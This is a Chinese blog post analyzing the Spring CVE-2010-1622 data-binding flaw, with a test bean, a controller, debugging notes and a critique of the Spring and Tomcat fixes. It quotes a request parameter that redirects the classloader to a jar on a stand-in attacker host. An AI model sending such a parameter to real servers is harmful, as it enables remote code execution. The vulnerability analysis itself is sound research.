`
skyzbb
  • 浏览: 1054 次
  • 性别: Icon_minigender_1
  • 来自: 北京
最近访客 更多访客>>
文章分类
社区版块
存档分类
最新评论

Spring-Cve-2010-1622漏洞分析

阅读更多

什么是Cve-2010-1622?

Spring漏洞,官方发布的漏洞http://www.springsource.com/security/cve-2010-1622

一些参考的分析文章:

文章一:http://blog.o0o.nu/2010/06/cve-2010-1622.html

文章二:http://www.inbreak.net/archives/377

 

分析:

笔者先看了下Spring官方的漏洞说明,这里描述确实不清楚,具体怎么修复的也没有提到。

然后又先后看了后面2篇文章,都颇具几分道理,但发觉心中的疑惑还是不解。这里先给大家概括下后面2篇分析文章:

 

文章一提到Java beanAPI Introspector. getBeanInfo 会获取到该POJO的基类Object.class的属性class,进一步可以获取到Class.class的诸多属性,包括classloaderclassLoader中有个属性叫URLs[0].  另外Spring提供了可以从页面的表单直接绑定到后台bean的属性的机制,所以有一种可能就是可以从前台提交参数 :

class.classLoader.URLs[0]=jar:http://attacker/spring-exploit.jar!/

 

经过Spring绑定URLs[0]classloader后,刚好Jasper's TldLocationsCache 会从WebappClassLoader里面读取url参数并用来解析TLD文件。如果spring-exploit.jar里面包含修改后的spring-form.tld,黑客的目的就达到了,可以这里面引用的tag文件里做一些远程代码执行的事。

 

文章二提到的拒绝访问中提到可以修改class.classLoader.delegate属性,来达到目地,实际上没人会把catalina.jar放入/WEB-INF/lib/,这种本身就是有问题的,网上的所谓设置delegatetrue的解决办法本身就是一种以错治错的方法,所以这种攻击对于正常的tomcat部署是不会发生的。

文章二提到的远程代码执行和文章一差不多,都是通过spring的自动绑定前台form的表单字段到后台的bean的属性,但是关于哪些属性可以绑定这块不太对,比如提到classclassloader都可以绑,其实是有问题的。

 

笔者分析完这两篇文章后,存在如下几个疑惑:

1.     怎样的属性可以被spring自动绑定?是不是需要包含gettersetter方法的属性呢。因为出于安全考虑,这个是标准的做法。

2.     Objectclass属性, ClassclassLoader属性其实都是不存在的,只存在getter方法。对应的属性是通过native获取的。 ClassLoaderURLs[0]属性其实也只有getter方法,这个属性是怎么绑定进去的?

3.     Spring官方中提到3.0.3中已经修复该bug,修复的方法是?

4.     Spring在什么时候调用Java beanAPI Introspector. getBeanInfo,以及怎样去实现自动绑定的?

 

 

为此,笔者准备了一个测试例子:

 

后台bean类:

package com.bingbing;

 

public class UserInfo {

      

       /***

        * id ,包含getset方法

        */

       private String id ;

      

       /**

        * number,只有set方法

        */

       private String number ;

      

       /**

        * info对象,模拟Class对象,里面的idnumber模拟classloader对象。这样做是因为classloader对象已经被spring过滤调了,后面会有解析

        * 只有get方法

        */

       private StudentInfo studentInfo =new StudentInfo();

      

       /**

        * 数组对象,模拟URL[]

        * 只有get方法

        */

       private String names[] = new String[]{"1"};

 

       public String getId() {

              return id;

       }

       public void setId(String id) {

              this.id = id;

       }

       public String getNumber() {

              return number;

       }

       public StudentInfo getStudentInfo() {

              return studentInfo;

       }

       public String[] getNames() {

              return names;

       }     

}

 

StudentInfo只有一个属性idnumber,且含有get,set方法,这里就不贴代码了。

 

处理的controller类:

package com.bingbing;

 

import org.springframework.stereotype.Controller;

import org.springframework.web.bind.annotation.RequestMapping;

 

@Controller

public class ExpTest {

 

       @RequestMapping(value = "expTest.xhtml")

       public void test(UserInfo info)

       {

              System.out.println("id:"+ info.getId());

              System.out.println("number:"+ info.getNumber());

              System.out.println("class:"+ info.getClass());

System.out.println("idnumber:"+ info.getStudentInfo().getIdnumber());

              System.out.println("names[0]:"+ info.getNames()[0]);

              System.out.println("classLoader:"+ info.getClass().getClassLoader());

       }

}

 

然后触发如下请求:

http://localhost:8080/TMS/expTest.xhtml?id=111&name=222&class.classLoader=org.apache.catalina.loader.StandardClassLoader&class=java.lang.String&number=999&studentInfo.idnumber=777&names[0]=33333

 

测试结果如下:

id:111

number:null

class:class com.bingbing.UserInfo

idnumber:777

names[0]:33333

classLoader:WebappClassLoader

 

咱们来分析一下:

Id属性因为有getset方法,能够绑定成功无可非议。

Number属性因为没有set方法,没有设置成功,实属正常,符合我们最初的想法。

Class属性也没有设置成功,也属正常,因为class只有get方法,没有set方法。

classLoader属性也没有设置成功,和class属性类似,没有set方法,所以文章二中提到的可以给classclassloader赋值是不准确的。

Idnumber赋值成功,有点奇怪了,因为studentInfo对象只有get方法,他里面的属性却给赋值了。这也是漏洞中为什么classloader中的URL[0]可以赋值的一个原因。

names[0]赋值成功,很奇怪!names[0]是只有get方法的,却赋值成功了,相对于number字段,这里是不是有点字段歧视的味道!

第一个疑惑解了,再往后看。后面的疑惑只要我们弄清楚spring的自动绑定机制就可以整清楚来弄去脉了。

有什么方法可以最快弄清楚里面怎么实现的呢,Debug!

 

先来第一张图:

 

 

从这里就可以看出绑定的调用流程,通过解析请求参数,到绑定参数,然后到了BeanWrapperImpl的父类AbstractPropertyAccessorsetPropertyValue方法中。

 

在开始绑定之前,咱们看一下请求参数对了没:

 

 

再往里面看具体的绑定:

 

首先从CachedIntrospectionResults中获取PropertyDescriptor ,再看看CachedIntrospectionResults怎么来的:

【注:上面的this.object是调用getProperty获取的,也就是字段的get方法。这个this.object会设置到CachedIntrospectionResults. 也就是如果this.object是子对象的话,比如studentInfo.idnumber这样的参数,当解析studentInfo时,会把get方法返回的实例传进去,其实内部只是用到了这个返回值的类型,以解析该类字段的属性。这也是为什么Idnumber能够赋值成功的原因。

 

这里就是文章二作者提到的 Introspector. getBeanInfo 方法了,检查了下beaninfo的值,里面确实把Object.class的属性都查出来了,这些属性甚至不需要具体的属性字段,只需要一个get方法即可。比如通过getClass方法就可以查出来class这个属性。

 

好了,知道属性从哪里来的了,再看看那个判断:

 

 

这里大家发现如果没有这个属性或者对应的属性的write方法不存在,这个属性就不会赋值。到这里我们的理解还是对的,只有set方法才会自动绑定。这就是说classclassloader属性是不会自动绑定的。

 

names[0]是怎么赋值成功的呢?

原来springarray有特殊的处理:

 

在发现字段属性是数组的时候,准确来说,是发现get方法返回值是数组的时候,就认为是数组类型的字段,大家从上面的截图也可以看出,writeMethod确实为空的。但是,后面的处理就比较怪异了,调用了Array.set(propValue, arrayIndex, convertedValue); 方法,这个方法就直接把get方法返回那个数组对象改了,直接绕过了set方法这个处理。

顺便还看了这个方法的后面处理代码,:

else if (propValue instanceof List) {

              PropertyDescriptor pd = getCachedIntrospectionResults().getPropertyDescriptor(actualName);

      

                    

                                   list.add(convertedValue);

                            }

                     }

                     else if (propValue instanceof Map) {

                            map.put(convertedMapKey, convertedMapValue);

 

也就是说对于Array,List,Map类型的字段,是不需要set方法的,只需要一个get方法就可以自动赋值。这个功能是很强大,但这会不会根本不是开发人员的本意呢!其实这也是远程代码执行的根本原因,也是黑客可以利用的漏洞。

 

咱们再来看看Spring3.0.3对之的修复方法:

CachedIntrospectionResults

 

也就是说在利用Introspector. getBeanInfo获取到属性后,过滤掉classloader属性。个人感觉这个修复不专业,相当于只修复了问题的表面,没有修复根本。如果class的其他的某个属性里面有类似的数组,列表和map的字段,刚好这些字段又可以被利用的话,会不会又是另外一个漏洞的产生呢?

 

Tomcat对此也有修复,其中文章二也提到了:

http://svn.apache.org/viewvc/tomcat/trunk/java/org/apache/catalina/loader/WebappClassLoader.java?r1=964215&r2=966292&pathrev=966292&diff_format=h

居然在tomcat6.0.28之后的版本,把

public URL[] getURLs() {

        if (repositoryURLs != null) {

            return repositoryURLs;

}

改为了

public URL[] getURLs() {

        if (repositoryURLs != null) {

            return repositoryURLs.clone();

}

还美其名曰:
Return copies of the URL array rather than the original. This facilitated CVE-2010-1622 although the root cause was in the Spring Framework. Returning a copy in this case seems like a good idea.

 

Tomcat这个修复也挺有意思的。估计是tomcat的作者意识到repositoryURLs这个字段被spring改了后,出现这个漏洞,觉得自己也脱不了干系,算了,得想个办法不让你spring改,怎么办呢?我给你spring一个拷贝的版本,够绝吧,spring拿了个山寨的版本,改了也没用,我tomcat还是照旧用我自己真正的这个repositoryURLs

 

总的说来,这个bug的产生一方面说明spring的自动绑定功能确实很强大,但也说明了其可以利用的漏洞。虽然springtomcat都相继发布修复办法,但个人感觉还是没有“治根治本”。

Spring可以考虑修改CachedIntrospectionResults类,使用Introspector

BeanInfo getBeanInfo(Class beanClass, Class stopClass)方法指定stopclassObject.Class,这样可以让Object类里面的属性不再暴露出来,提高了安全性。从Spring框架上来说,Object的这些东西是不让业务修改的。

当然,如果Spring重新审视一下为什么需要把Array,List,map的绑定绕过set的限制,因为不管是业务类还是JDK相关的类,可以让外面修改的都会提供set方法或者接口,如果没有可以设置的接口,这种走后门的设置方法还是很不安全的。如果能够不绕过这个限制,那就真的安全了。

 

 

  • 大小: 28.2 KB
  • 大小: 44.2 KB
  • 大小: 43.7 KB
  • 大小: 44.2 KB
  • 大小: 54.7 KB
  • 大小: 62.8 KB
  • 大小: 51.7 KB
分享到:
评论

相关推荐

    Spring framework(cve-2010-1622)漏洞利用指南 .docx

    本文将对Spring Framework(CVE-2010-1622)漏洞进行深入分析,并提供相关知识点。 一、漏洞概述 Spring Framework是一个流行的Java WEB应用程序框架,但是在2010年,研究人员发现了一个严重的漏洞(CVE-2010-1622...

    SpringCloud Function SpEL注入漏洞分析(CVE-2022-22963).doc

    SpringCloud Function SpEL 注入漏洞分析(CVE-2022-22963) SpringCloud Function 是 Spring 提供的一套分布式函数式编程组件,旨在帮助开发者专注于业务逻辑实现,而不需要关心服务器环境运维等问题。然而,在 ...

    spring-framework-5.0.5.RELEASE 漏洞修复

    Spring框架中的spring-messaging模块提供了一种基于WebSocket的STOMP协议实现,STOMP消息代理在处理客户端消息时存在SpEL表达式注入漏洞,因此攻击者可以通过构造恶意的消息来实现远程代码执行。 Windows平台...

    CVE-2022-22947-Spring-Cloud-Gateway 内存马POC

    Spring官方博客发布了一篇关于Spring Cloud Gateway的CVE报告,据公告描述,当启用和暴露 Gateway Actuator 端点时,使用 Spring Cloud Gateway 的应用程序可受到代码注入攻击。攻击者可以发送特制的恶意请求,从而...

    spring-web-4.3.29.RELEASE.jar

    VMware Tanzu发布安全公告,公布了一个存在于Spring Framework中的反射型文件下载(Reflected File Download,RFD)漏洞CVE-2020-5421。CVE-2020-5421 可通过jsessionid路径参数,绕过防御RFD攻击的保护。先前针对RFD...

    Spring framework(cve-2010-1622)漏洞利用指南1

    《Spring框架(CVE-2010-1622)漏洞分析与利用探讨》 Spring框架,作为Java领域广泛使用的轻量级应用框架,其安全性一直是开发者关注的重点。2010年出现的CVE-2010-1622漏洞,尽管在当时并未引发大规模的利用,但其...

    CVE-2022-22965 GUItools单个图形化利用工具

    CVE-2010-1622中曾出现由于参数自动绑定机制导致的问题, 此前通过黑名单的方式修复了该漏洞,但是 JDK9之后引入了 Module,使得可以通过 getModule 绕过前者的黑名单限制,最后导致远程代码执行。

    spring-framework-4.3.15 官方下载

    CVE-2018-1270漏洞:Spring Framework的4.3.*版本以及不再支持的旧版本,通过spring-messaging和spring-websocket模块提供的基于WebSocket的STOMP,存在被攻击者建立WebSocket连接并发送恶意攻击代码的可能,从而...

    CVE-2018-3191利用exp

    这个漏洞是由于WebLogic服务器中Spring框架的一个组件处理JNDI(Java Naming and Directory Interface)注入不当所导致的。描述中提到的"ysoserial获取shell权限"是指通过ysoserial工具,攻击者可以利用这个漏洞执行...

    spring Framework 远程命令执行漏洞CVE-2022-22965漏洞脚本自用

    在2022年,Spring Framework 发现了一个严重的远程命令执行(RCE)漏洞,被称为CVE-2022-22965,也被称为“Spring4Shell”。这个漏洞对使用Spring Framework的应用程序构成了重大威胁,因为攻击者可以利用它来执行...

    CVE-2022-22963 复现Demo

    CVE-2022-22963 复现Demo,A Spring MVC or Spring WebFlux application running on JDK 9+ may be vulnerable to remote code execution (RCE) via data binding. The specific exploit requires the application ...

    SpringCloud Gateway 漏洞分析 (CVE-2022-22947).doc

    SpringCloud Gateway 漏洞分析 (CVE-2022-22947) SpringCloud Gateway 是 Spring 提供的微服务实现框架,其中包含网关、配置中心和注册中心等内容。网关是 SpringCloud Gateway 的核心组件之一,提供了统一的流量...

    CVE-2022-22947 SpringCloud GateWay SpEL RCE.doc

    CVE-2022-22947是一种影响SpringCloud GateWay的远程代码执行漏洞,通过SpEL(Spring Expression Language)实现RCE(Remote Code Execution)。下面是关于该漏洞的详细分析和知识点总结。 一、漏洞概述 CVE-2022-...

    JAVA安全之Spring参数绑定漏洞CVE-2022-22965

    JAVA安全之Spring参数绑定漏洞CVE-2022-22965

    poc-cve-2018-1273:CVE-2018-1273的POC

    Spring Data Commons(1.13至1.13.10之前的版本,2.0至2.0.5的版本以及较早的不受支持的版本)包含由于特殊元素的不正确中和导致的属性绑定器漏洞。 未经身份验证的远程恶意用户(或攻击者)可以针对Spring Data ...

    [Timeline Sec] - CVE-2020-1948:Dubbo Provider默认反序列化复现1

    【Dubbo反序列化漏洞CVE-2020-1948详解】 Dubbo,由阿里巴巴开源,是一款高性能的服务框架,它使得应用可以通过RPC实现服务的输入和输出功能,并且能够与Spring框架无缝集成。然而,2020年,腾讯安全团队发现了一个...

    shiro-cve-2020-17523:shiro-cve-2020-17523 漏洞的两种绕过姿势分析 以及配套的漏洞环境

    Apache Shiro 两种姿势绕过认证分析(CVE-2020-17523) 0x01 漏洞描述 Apache Shiro是一个强大且易用的Java安全框架,执行身份验证、授权、密码和会话管理。使用Shiro的易于理解的API,您可以快速、轻松地获得任何...

    Spring Framework反射型文件下载漏洞

    在Spring Framework版本5.2.0-5.2.8、5.1.0-5.1.17、5.0.0-5.0.18、4.3.0-4.3.28和更旧的不受支持版本中,可能会绕过CVE-2015-5211对RFD攻击的保护,具体取决于通过使用jsessionid路径参数使用的浏览器。

Global site tag (gtag.js) - Google Analytics